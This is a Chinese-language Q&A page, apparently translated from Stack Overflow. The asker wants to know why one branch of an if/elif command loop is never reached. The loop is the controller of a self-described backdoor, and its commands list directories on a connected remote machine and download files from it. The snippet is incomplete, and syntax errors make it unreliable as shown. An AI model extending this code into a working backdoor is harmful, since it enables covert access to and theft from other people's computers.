首页 > 解决方案 > 可能的 if/elif 语句错误

问题描述

好的,伙计们,我发誓我并不愚蠢,但是我在编写后门服务器/客户端脚本时遇到了最奇怪的事情。

这是一个示例/简化脚本,它完全按照我的预期工作:

    command = input(str("Command >>>"))
    if command == '1':
        print("1")
    elif command == '2':
        print("2")
    elif command == '3':
        print("3")
    elif command == '4':
        print("4")
    else:
        print("Not a command")

很简单,对吧?现在通常我只使用一个示例脚本,但我即将把头撞到一张桌子上,所以这里是真实脚本的一部分:

while 1:
    print("")
    command = input(str("Command >> "))
    if command == "view_cwd":
        conn.send(command.encode())
        print("")
        print("Command sent, waiting for execution... ")
        print("")
        files = conn.recv(5000)
        files = files.decode()
        print("Command Output: ", files)

    elif command == "quit":
        quit()

    elif command == "download_file":
        conn.send(command.encode())
        filepath = input(str("Please enter filename and path: "))
        conn.send(filepath.encode())
        file = conn.recv(100000)
        filename = input(str(Enter preferred filename: ))
        new_file = open(filename, 'wb')
        new_file.write(file)new_file.close()
        print(filename, "has been downloaded")

    elif command == "custom_dir":
        conn.send(command.encode())
        print("")
        user_input = input(str("Custom Dir: "))
        conn.send(user_input.encode())
        print("")
        print("Command has been sent")
        print("")
        files = conn.recv(5000)
        files = files.decode()
        print("Custom DIR result: ", files)

    else:
        print("")
        print("Command not recognized")

看起来还是很标准的吧?现在这是奇怪的部分:“view_cwd”、“quit”和“custom_dir”命令工作正常并执行,但如果我输入“download_file”,我会得到这个输出:

Command >> download_file

Command not recognized

Command >> 

这是我制作的错误代码,但我完全看不出为什么其他 elif/if 语句有效,但不是这个。我错过了一些明显的东西吗?

标签: python-3.xif-statement

解决方案


推荐阅读